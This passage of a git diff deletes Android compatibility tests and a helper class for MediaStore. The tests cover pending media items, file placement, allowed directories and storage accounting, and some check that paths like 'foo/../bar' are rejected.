-                    displayName, "image/png"), R.raw.scenery);
-            assertEquals(displayName, getRawFile(uri).getName());
-        }
-        {
-            final String displayName = "cts" + System.nanoTime() + ".jpg";
-            final Uri uri = execPending(new PendingParams(mExternalImages,
-                    displayName, "image/png"), R.raw.scenery);
-            assertEquals(displayName + ".png", getRawFile(uri).getName());
-        }
-    }
-
-    @Test
-    public void testDirectories() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-
-        final Set<String> allowedAudio = new HashSet<>(
-                Arrays.asList(Environment.DIRECTORY_MUSIC, Environment.DIRECTORY_RINGTONES,
-                        Environment.DIRECTORY_NOTIFICATIONS, Environment.DIRECTORY_PODCASTS,
-                        Environment.DIRECTORY_ALARMS));
-        final Set<String> allowedVideo = new HashSet<>(
-                Arrays.asList(Environment.DIRECTORY_MOVIES, Environment.DIRECTORY_DCIM));
-        final Set<String> allowedImages = new HashSet<>(
-                Arrays.asList(Environment.DIRECTORY_PICTURES, Environment.DIRECTORY_DCIM));
-        final Set<String> allowedDownloads = new HashSet<>(
-                Arrays.asList(Environment.DIRECTORY_DOWNLOADS));
-
-        final Set<String> everything = new HashSet<>();
-        everything.addAll(allowedAudio);
-        everything.addAll(allowedVideo);
-        everything.addAll(allowedImages);
-        everything.addAll(allowedDownloads);
-        everything.add(Environment.DIRECTORY_DOCUMENTS);
-
-        {
-            final PendingParams params = new PendingParams(mExternalAudio,
-                    displayName, "audio/ogg");
-            for (String dir : everything) {
-                params.setPath(dir);
-                if (allowedAudio.contains(dir)) {
-                    assertCreatePending(params);
-                } else {
-                    assertNotCreatePending(dir, params);
-                }
-            }
-        }
-        {
-            final PendingParams params = new PendingParams(mExternalVideo,
-                    displayName, "video/ogg");
-            for (String dir : everything) {
-                params.setPath(dir);
-                if (allowedVideo.contains(dir)) {
-                    assertCreatePending(params);
-                } else {
-                    assertNotCreatePending(dir, params);
-                }
-            }
-        }
-        {
-            final PendingParams params = new PendingParams(mExternalImages,
-                    displayName, "image/png");
-            for (String dir : everything) {
-                params.setPath(dir);
-                if (allowedImages.contains(dir)) {
-                    assertCreatePending(params);
-                } else {
-                    assertNotCreatePending(dir, params);
-                }
-            }
-        }
-        {
-            final PendingParams params = new PendingParams(mExternalDownloads,
-                        displayName, "video/ogg");
-            for (String dir : everything) {
-                params.setPath(dir);
-                if (allowedDownloads.contains(dir)) {
-                    assertCreatePending(params);
-                } else {
-                    assertNotCreatePending(dir, params);
-                }
-            }
-        }
-    }
-
-    @Test
-    public void testDirectories_Defaults() throws Exception {
-        {
-            final String displayName = "cts" + System.nanoTime();
-            final Uri uri = execPending(new PendingParams(mExternalImages,
-                    displayName, "image/png"), R.raw.scenery);
-            assertEquals(Environment.DIRECTORY_PICTURES, getRawFile(uri).getParentFile().getName());
-        }
-        {
-            final String displayName = "cts" + System.nanoTime();
-            final Uri uri = execPending(new PendingParams(mExternalAudio,
-                    displayName, "audio/ogg"), R.raw.scenery);
-            assertEquals(Environment.DIRECTORY_MUSIC, getRawFile(uri).getParentFile().getName());
-        }
-        {
-            final String displayName = "cts" + System.nanoTime();
-            final Uri uri = execPending(new PendingParams(mExternalVideo,
-                    displayName, "video/ogg"), R.raw.scenery);
-            assertEquals(Environment.DIRECTORY_MOVIES, getRawFile(uri).getParentFile().getName());
-        }
-        {
-            final String displayName = "cts" + System.nanoTime();
-            final Uri uri = execPending(new PendingParams(mExternalDownloads,
-                    displayName, "image/png"), R.raw.scenery);
-            assertEquals(Environment.DIRECTORY_DOWNLOADS,
-                    getRawFile(uri).getParentFile().getName());
-        }
-    }
-
-    @Test
-    public void testDirectories_Primary() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
-        params.setPath(Environment.DIRECTORY_DCIM);
-
-        final Uri uri = execPending(params, R.raw.scenery);
-        assertEquals(Environment.DIRECTORY_DCIM, getRawFile(uri).getParentFile().getName());
-
-        // Verify that shady paths don't work
-        params.setPath("foo/../bar");
-        assertNotCreatePending(params);
-    }
-
-    @Test
-    public void testDirectories_PrimarySecondary() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-        final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
-        params.setPath("DCIM/Kittens");
-
-        final Uri uri = execPending(params, R.raw.scenery);
-        final File rawFile = getRawFile(uri);
-        assertEquals("Kittens", rawFile.getParentFile().getName());
-        assertEquals(Environment.DIRECTORY_DCIM, rawFile.getParentFile().getParentFile().getName());
-    }
-
-    @Test
-    public void testMutableColumns() throws Exception {
-        // Stage pending content
-        final ContentValues values = new ContentValues();
-        values.put(MediaColumns.MIME_TYPE, "image/png");
-        values.put(MediaColumns.IS_PENDING, 1);
-        values.put(MediaColumns.HEIGHT, 32);
-        final Uri uri = mResolver.insert(mExternalImages, values);
-        try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
-                OutputStream out = mResolver.openOutputStream(uri)) {
-            FileUtils.copy(in, out);
-        }
-
-        // Verify that initial values are present
-        try (Cursor c = mResolver.query(uri, null, null, null)) {
-            c.moveToFirst();
-            assertEquals(32, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
-        }
-
-        // Verify that we can update values while pending
-        values.clear();
-        values.put(MediaColumns.HEIGHT, 64);
-        mResolver.update(uri, values, null, null);
-        try (Cursor c = mResolver.query(uri, null, null, null)) {
-            c.moveToFirst();
-            assertEquals(64, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
-        }
-
-        // Publishing triggers scan of underlying file
-        values.clear();
-        values.put(MediaColumns.IS_PENDING, 0);
-        mResolver.update(uri, values, null, null);
-        try (Cursor c = mResolver.query(uri, null, null, null)) {
-            c.moveToFirst();
-            assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
-        }
-
-        // Ignored now that we're published
-        values.clear();
-        values.put(MediaColumns.HEIGHT, 48);
-        mResolver.update(uri, values, null, null);
-        try (Cursor c = mResolver.query(uri, null, null, null)) {
-            c.moveToFirst();
-            assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
-        }
-    }
-
-    private void assertCreatePending(PendingParams params) {
-        MediaStoreUtils.createPending(mContext, params);
-    }
-
-    private void assertNotCreatePending(PendingParams params) {
-        assertNotCreatePending(null, params);
-    }
-
-    private void assertNotCreatePending(String message, PendingParams params) {
-        try {
-            MediaStoreUtils.createPending(mContext, params);
-            fail(message);
-        } catch (Exception expected) {
-        }
-    }
-
-    private Uri execPending(PendingParams params, int resId) throws Exception {
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(resId);
-                    OutputStream out = session.openOutputStream()) {
-                FileUtils.copy(in, out);
-            }
-            return session.publish();
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/MediaStorePlacementTest.java
deleted file mode 100644
index c05379c..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStorePlacementTest.java
+++ /dev/null
@@ -1,244 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Environment;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.util.Optional;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStorePlacementTest {
-    static final String TAG = "MediaStorePlacementTest";
-
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private Uri mExternalImages;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testDefault() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        // By default placed under "Pictures" with sane name
-        final File before = ProviderTestUtils.getRelativeFile(uri);
-        assertTrue(before.getName().startsWith("cts"));
-        assertTrue(before.getName().endsWith("jpg"));
-        assertEquals("Pictures", before.getParent());
-    }
-
-    @Test
-    public void testIgnored() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.SIZE, 0);
-            assertEquals(0, mContentResolver.update(uri, values, null, null));
-        }
-
-        // Make sure shady paths can't be passed in
-        for (String probe : new String[] {
-                "path/.to/dir",
-                ".dir",
-                "path/../dir",
-        }) {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.RELATIVE_PATH, probe);
-            try {
-                mContentResolver.update(uri, values, null, null);
-                fail();
-            } catch (IllegalArgumentException expected) {
-            }
-        }
-    }
-
-    @Test
-    public void testDisplayName_SameMime() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        // Movement within same MIME type is okay
-        final File before = ProviderTestUtils.getRelativeFile(uri);
-        final String name = "CTS" +  System.nanoTime() + ".JPEG";
-        assertTrue(updatePlacement(uri, null, Optional.of(name)));
-
-        final File after = ProviderTestUtils.getRelativeFile(uri);
-        assertEquals(before.getParent(), after.getParent());
-        assertEquals(name, after.getName());
-    }
-
-    @Test
-    public void testDisplayName_DifferentMime() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        final File before = ProviderTestUtils.getRelativeFile(uri);
-        assertTrue(before.getName().endsWith(".jpg"));
-
-        // Movement across MIME types is not okay; verify that original MIME
-        // type remains intact
-        final String name = "cts" +  System.nanoTime() + ".png";
-        assertTrue(updatePlacement(uri, null, Optional.of(name)));
-
-        final File after = ProviderTestUtils.getRelativeFile(uri);
-        assertTrue(after.getName().startsWith(name));
-        assertTrue(after.getName().endsWith(".jpg"));
-    }
-
-    @Test
-    public void testDirectory_Valid() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        final File before = ProviderTestUtils.getRelativeFile(uri);
-        assertEquals("Pictures", before.getParent());
-
-        {
-            assertTrue(updatePlacement(uri,
-                    Optional.ofNullable(null), null));
-            final File after = ProviderTestUtils.getRelativeFile(uri);
-            assertEquals("Pictures", after.getParent());
-        }
-        {
-            assertTrue(updatePlacement(uri,
-                    Optional.of("DCIM/Vacation"), null));
-            final File after = ProviderTestUtils.getRelativeFile(uri);
-            assertEquals("DCIM/Vacation", after.getParent());
-        }
-        {
-            assertTrue(updatePlacement(uri,
-                    Optional.of("DCIM/Misc"), null));
-            final File after = ProviderTestUtils.getRelativeFile(uri);
-            assertEquals("DCIM/Misc", after.getParent());
-        }
-        {
-            assertTrue(updatePlacement(uri,
-                    Optional.of("Pictures/Misc"), null));
-            final File after = ProviderTestUtils.getRelativeFile(uri);
-            assertEquals("Pictures/Misc", after.getParent());
-        }
-        {
-            assertTrue(updatePlacement(uri,
-                    Optional.of("Pictures"), null));
-            final File after = ProviderTestUtils.getRelativeFile(uri);
-            assertEquals("Pictures", after.getParent());
-        }
-    }
-
-    @Test
-    public void testDirectory_Invalid() throws Exception {
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        assertFalse(updatePlacement(uri,
-                Optional.of("Random"), null));
-        assertFalse(updatePlacement(uri,
-                Optional.of(Environment.DIRECTORY_ALARMS), null));
-    }
-
-    @Test
-    public void testDirectory_InsideSandbox() throws Exception {
-        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
-        final File dir = MediaStore.getVolumePath(mVolumeName);
-        final File file = ProviderTestUtils.stageFile(R.drawable.scenery, Environment.buildPath(dir,
-                "Android", "media", "android.provider.cts", System.nanoTime() + ".jpg"));
-        final Uri uri = ProviderTestUtils.scanFile(file);
-
-        assertFalse(updatePlacement(uri,
-                Optional.of("Android/media/android.provider.cts/foo"), null));
-        assertFalse(updatePlacement(uri,
-                Optional.of("Android/media/com.example/foo"), null));
-        assertFalse(updatePlacement(uri,
-                Optional.of("DCIM"), null));
-    }
-
-    @Test
-    public void testDirectory_OutsideSandbox() throws Exception {
-        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
-        final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
-                mExternalImages, "image/jpeg");
-
-        assertFalse(updatePlacement(uri,
-                Optional.of("Android/media/android.provider.cts/foo"), null));
-        assertFalse(updatePlacement(uri,
-                Optional.of("Android/media/com.example/foo"), null));
-        assertTrue(updatePlacement(uri,
-                Optional.of("DCIM"), null));
-    }
-
-    private boolean updatePlacement(Uri uri, Optional<String> path, Optional<String> displayName)
-            throws Exception {
-        final ContentValues values = new ContentValues();
-        if (path != null) {
-            values.put(MediaColumns.RELATIVE_PATH, path.orElse(null));
-        }
-        if (displayName != null) {
-            values.put(MediaColumns.DISPLAY_NAME, displayName.orElse(null));
-        }
-        try {
-            return (mContentResolver.update(uri, values, null, null) == 1);
-        } catch (Exception tolerated) {
-            return false;
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
deleted file mode 100644
index 937bddf..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
+++ /dev/null
@@ -1,263 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.usage.StorageStatsManager;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.os.storage.StorageManager;
-import android.os.storage.StorageVolume;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.UUID;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStoreTest {
-    static final String TAG = "MediaStoreTest";
-
-    private static final long SIZE_DELTA = 32_000;
-
-    private Context mContext;
-    private ContentResolver mContentResolver;
-
-    private Uri mExternalImages;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    private Context getContext() {
-        return InstrumentationRegistry.getTargetContext();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
-    }
-
-    @Test
-    public void testGetMediaScannerUri() {
-        // query
-        Cursor c = mContentResolver.query(MediaStore.getMediaScannerUri(), null,
-                null, null, null);
-        assertEquals(1, c.getCount());
-        c.close();
-    }
-
-    @Test
-    public void testGetVersion() {
-        // We should have valid versions to help detect data wipes
-        assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_INTERNAL));
-        assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL));
-        assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL_PRIMARY));
-    }
-
-    @Test
-    public void testGetExternalVolumeNames() {
-        Set<String> volumeNames = MediaStore.getExternalVolumeNames(getContext());
-
-        assertFalse(volumeNames.contains(MediaStore.VOLUME_INTERNAL));
-        assertFalse(volumeNames.contains(MediaStore.VOLUME_EXTERNAL));
-        assertTrue(volumeNames.contains(MediaStore.VOLUME_EXTERNAL_PRIMARY));
-    }
-
-    @Test
-    public void testGetStorageVolume() throws Exception {
-        Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
-        final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
-
-        final StorageManager sm = mContext.getSystemService(StorageManager.class);
-        final StorageVolume sv = sm.getStorageVolume(uri);
-
-        // We should always have a volume for media we just created
-        assertNotNull(sv);
-
-        if (MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName)) {
-            assertEquals(sm.getPrimaryStorageVolume(), sv);
-        }
-    }
-
-    @Test
-    public void testGetStorageVolume_Unrelated() throws Exception {
-        final StorageManager sm = mContext.getSystemService(StorageManager.class);
-        try {
-            sm.getStorageVolume(Uri.parse("content://com.example/path/to/item/"));
-            fail("getStorageVolume unrelated should throw exception");
-        } catch (IllegalArgumentException expected) {
-        }
-    }
-
-    @Test
-    public void testContributedMedia() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                android.Manifest.permission.CLEAR_APP_USER_DATA,
-                android.Manifest.permission.PACKAGE_USAGE_STATS);
-
-        // Start by cleaning up contributed items
-        MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
-                android.os.Process.myUserHandle());
-
-        // Force sync to try updating other views
-        ProviderTestUtils.executeShellCommand("sync");
-        SystemClock.sleep(500);
-
-        // Measure usage before
-        final long beforePackage = getExternalPackageSize();
-        final long beforeTotal = getExternalTotalSize();
-        final long beforeContributed = MediaStore.getContributedMediaSize(getContext(),
-                getContext().getPackageName(), android.os.Process.myUserHandle());
-
-        final long stageSize;
-        try (AssetFileDescriptor fd = getContext().getResources()
-                .openRawResourceFd(R.raw.volantis)) {
-            stageSize = fd.getLength();
-        }
-
-        // Create media both inside and outside sandbox
-        final Uri inside;
-        final Uri outside;
-        final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "cts" + System.nanoTime() + ".jpg");
-        ProviderTestUtils.stageFile(R.raw.volantis, file);
-        inside = ProviderTestUtils.scanFileFromShell(file);
-        outside = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
-
-        {
-            final HashSet<Long> visible = getVisibleIds(mExternalImages);
-            assertTrue(visible.contains(ContentUris.parseId(inside)));
-            assertTrue(visible.contains(ContentUris.parseId(outside)));
-
-            // Force sync to try updating other views
-            ProviderTestUtils.executeShellCommand("sync");
-            SystemClock.sleep(500);
-
-            final long afterPackage = getExternalPackageSize();
-            final long afterTotal = getExternalTotalSize();
-            final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
-                    getContext().getPackageName(), android.os.Process.myUserHandle());
-
-            assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
-            assertMostlyEquals(beforeTotal + stageSize + stageSize, afterTotal, SIZE_DELTA);
-            assertMostlyEquals(beforeContributed + stageSize, afterContributed, SIZE_DELTA);
-        }
-
-        // Delete only contributed items
-        MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
-                android.os.Process.myUserHandle());
-        {
-            final HashSet<Long> visible = getVisibleIds(mExternalImages);
-            assertTrue(visible.contains(ContentUris.parseId(inside)));
-            assertFalse(visible.contains(ContentUris.parseId(outside)));
-
-            // Force sync to try updating other views
-            ProviderTestUtils.executeShellCommand("sync");
-            SystemClock.sleep(500);
-
-            final long afterPackage = getExternalPackageSize();
-            final long afterTotal = getExternalTotalSize();
-            final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
-                    getContext().getPackageName(), android.os.Process.myUserHandle());
-
-            assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
-            assertMostlyEquals(beforeTotal + stageSize, afterTotal, SIZE_DELTA);
-            assertMostlyEquals(0, afterContributed, SIZE_DELTA);
-        }
-    }
-
-    private long getExternalPackageSize() throws Exception {
-        final StorageManager storage = getContext().getSystemService(StorageManager.class);
-        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
-
-        final UUID externalUuid = storage.getUuidForPath(MediaStore.getVolumePath(mVolumeName));
-        return stats.queryStatsForPackage(externalUuid, getContext().getPackageName(),
-                android.os.Process.myUserHandle()).getDataBytes();
-    }
-
-    private long getExternalTotalSize() throws Exception {
-        final StorageManager storage = getContext().getSystemService(StorageManager.class);
-        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
-
-        final UUID externalUuid = storage.getUuidForPath(MediaStore.getVolumePath(mVolumeName));
-        return stats.queryExternalStatsForUser(externalUuid, android.os.Process.myUserHandle())
-                .getTotalBytes();
-    }
-
-    private HashSet<Long> getVisibleIds(Uri collectionUri) {
-        final HashSet<Long> res = new HashSet<>();
-        try (Cursor c = mContentResolver.query(collectionUri,
-                new String[] { MediaColumns._ID }, null, null)) {
-            while (c.moveToNext()) {
-                res.add(c.getLong(0));
-            }
-        }
-        return res;
-    }
-
-    private static void assertMostlyEquals(long expected, long actual, long delta) {
-        if (Math.abs(expected - actual) > delta) {
-            fail("Expected roughly " + expected + " but was " + actual);
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUtils.java
deleted file mode 100644
index 70c6988..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUtils.java
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import android.content.ContentValues;
-import android.content.Context;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.provider.MediaStore;
-import android.provider.MediaStore.DownloadColumns;
-import android.provider.MediaStore.Downloads;
-import android.provider.MediaStore.MediaColumns;
-import android.text.format.DateUtils;
-
-import org.junit.Test;
-
-import java.io.FileNotFoundException;
-import java.io.OutputStream;
-import java.util.Objects;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-public class MediaStoreUtils {
-    @Test
-    public void testStub() {
-    }
-
-    /**
-     * Create a new pending media item using the given parameters. Pending items
-     * are expected to have a short lifetime, and owners should either
-     * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
-     * pending item within a few hours after first creating it.
-     *
-     * @return token which can be passed to {@link #openPending(Context, Uri)}
-     *         to work with this pending item.
-     * @see MediaColumns#IS_PENDING
-     * @see MediaStore#setIncludePending(Uri)
-     * @see MediaStore#createPending(Context, PendingParams)
-     * @removed
-     */
-    @Deprecated
-    public static @NonNull Uri createPending(@NonNull Context context,
-            @NonNull PendingParams params) {
-        return context.getContentResolver().insert(params.insertUri, params.insertValues);
-    }
-
-    /**
-     * Open a pending media item to make progress on it. You can open a pending
-     * item multiple times before finally calling either
-     * {@link PendingSession#publish()} or {@link PendingSession#abandon()}.
-     *
-     * @param uri token which was previously returned from
-     *            {@link #createPending(Context, PendingParams)}.
-     * @removed
-     */
-    @Deprecated
-    public static @NonNull PendingSession openPending(@NonNull Context context, @NonNull Uri uri) {
-        return new PendingSession(context, uri);
-    }
-
-    /**
-     * Parameters that describe a pending media item.
-     *
-     * @removed
-     */
-    @Deprecated
-    public static class PendingParams {
-        /** {@hide} */
-        public final Uri insertUri;
-        /** {@hide} */
-        public final ContentValues insertValues;
-
-        /**
-         * Create parameters that describe a pending media item.
-         *
-         * @param insertUri the {@code content://} Uri where this pending item
-         *            should be inserted when finally published. For example, to
-         *            publish an image, use
-         *            {@link MediaStore.Images.Media#getContentUri(String)}.
-         */
-        public PendingParams(@NonNull Uri insertUri, @NonNull String displayName,
-                @NonNull String mimeType) {
-            this.insertUri = Objects.requireNonNull(insertUri);
-            final long now = System.currentTimeMillis() / 1000;
-            this.insertValues = new ContentValues();
-            this.insertValues.put(MediaColumns.DISPLAY_NAME, Objects.requireNonNull(displayName));
-            this.insertValues.put(MediaColumns.MIME_TYPE, Objects.requireNonNull(mimeType));
-            this.insertValues.put(MediaColumns.DATE_ADDED, now);
-            this.insertValues.put(MediaColumns.DATE_MODIFIED, now);
-            this.insertValues.put(MediaColumns.IS_PENDING, 1);
-            this.insertValues.put(MediaColumns.DATE_EXPIRES,
-                    (System.currentTimeMillis() + DateUtils.DAY_IN_MILLIS) / 1000);
-        }
-
-        public void setPath(@Nullable String path) {
-            if (path == null) {
-                this.insertValues.remove(MediaColumns.RELATIVE_PATH);
-            } else {
-                this.insertValues.put(MediaColumns.RELATIVE_PATH, path);
-            }
-        }
-
-        /**
-         * Optionally set the Uri from where the file has been downloaded. This is used
-         * for files being added to {@link Downloads} table.
-         *
-         * @see DownloadColumns#DOWNLOAD_URI
-         */
-        public void setDownloadUri(@Nullable Uri downloadUri) {
-            if (downloadUri == null) {
-                this.insertValues.remove(DownloadColumns.DOWNLOAD_URI);
-            } else {
-                this.insertValues.put(DownloadColumns.DOWNLOAD_URI, downloadUri.toString());
-            }
-        }
-
-        /**
-         * Optionally set the Uri indicating HTTP referer of the file. This is used for
-         * files being added to {@link Downloads} table.
-         *
-         * @see DownloadColumns#REFERER_URI
-         */
-        public void setRefererUri(@Nullable Uri refererUri) {
-            if (refererUri == null) {
-                this.insertValues.remove(DownloadColumns.REFERER_URI);
-            } else {
-                this.insertValues.put(DownloadColumns.REFERER_URI, refererUri.toString());
-            }
-        }
-    }
-
-    /**
-     * Session actively working on a pending media item. Pending items are
-     * expected to have a short lifetime, and owners should either
-     * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
-     * pending item within a few hours after first creating it.
-     *
-     * @removed
-     */
-    @Deprecated
-    public static class PendingSession implements AutoCloseable {
-        /** {@hide} */
-        private final Context mContext;
-        /** {@hide} */
-        private final Uri mUri;
-
-        /** {@hide} */
-        public PendingSession(Context context, Uri uri) {
-            mContext = Objects.requireNonNull(context);
-            mUri = Objects.requireNonNull(uri);
-        }
-
-        /**
-         * Open the underlying file representing this media item. When a media
-         * item is successfully completed, you should
-         * {@link ParcelFileDescriptor#close()} and then {@link #publish()} it.
-         *
-         * @see #notifyProgress(int)
-         */
-        public @NonNull ParcelFileDescriptor open() throws FileNotFoundException {
-            return mContext.getContentResolver().openFileDescriptor(mUri, "rw");
-        }
-
-        /**
-         * Open the underlying file representing this media item. When a media
-         * item is successfully completed, you should
-         * {@link OutputStream#close()} and then {@link #publish()} it.
-         *
-         * @see #notifyProgress(int)
-         */
-        public @NonNull OutputStream openOutputStream() throws FileNotFoundException {
-            return mContext.getContentResolver().openOutputStream(mUri);
-        }
-
-        /**
-         * When this media item is successfully completed, call this method to
-         * publish and make the final item visible to the user.
-         *
-         * @return the final {@code content://} Uri representing the newly
-         *         published media.
-         */
-        public @NonNull Uri publish() {
-            final ContentValues values = new ContentValues();
-            values.put(MediaColumns.IS_PENDING, 0);
-            values.putNull(MediaColumns.DATE_EXPIRES);
-            mContext.getContentResolver().update(mUri, values, null, null);
-            return mUri;
-        }
-
-        /**
-         * When this media item has failed to be completed, call this method to
-         * destroy the pending item record and any data related to it.
-         */
-        public void abandon() {
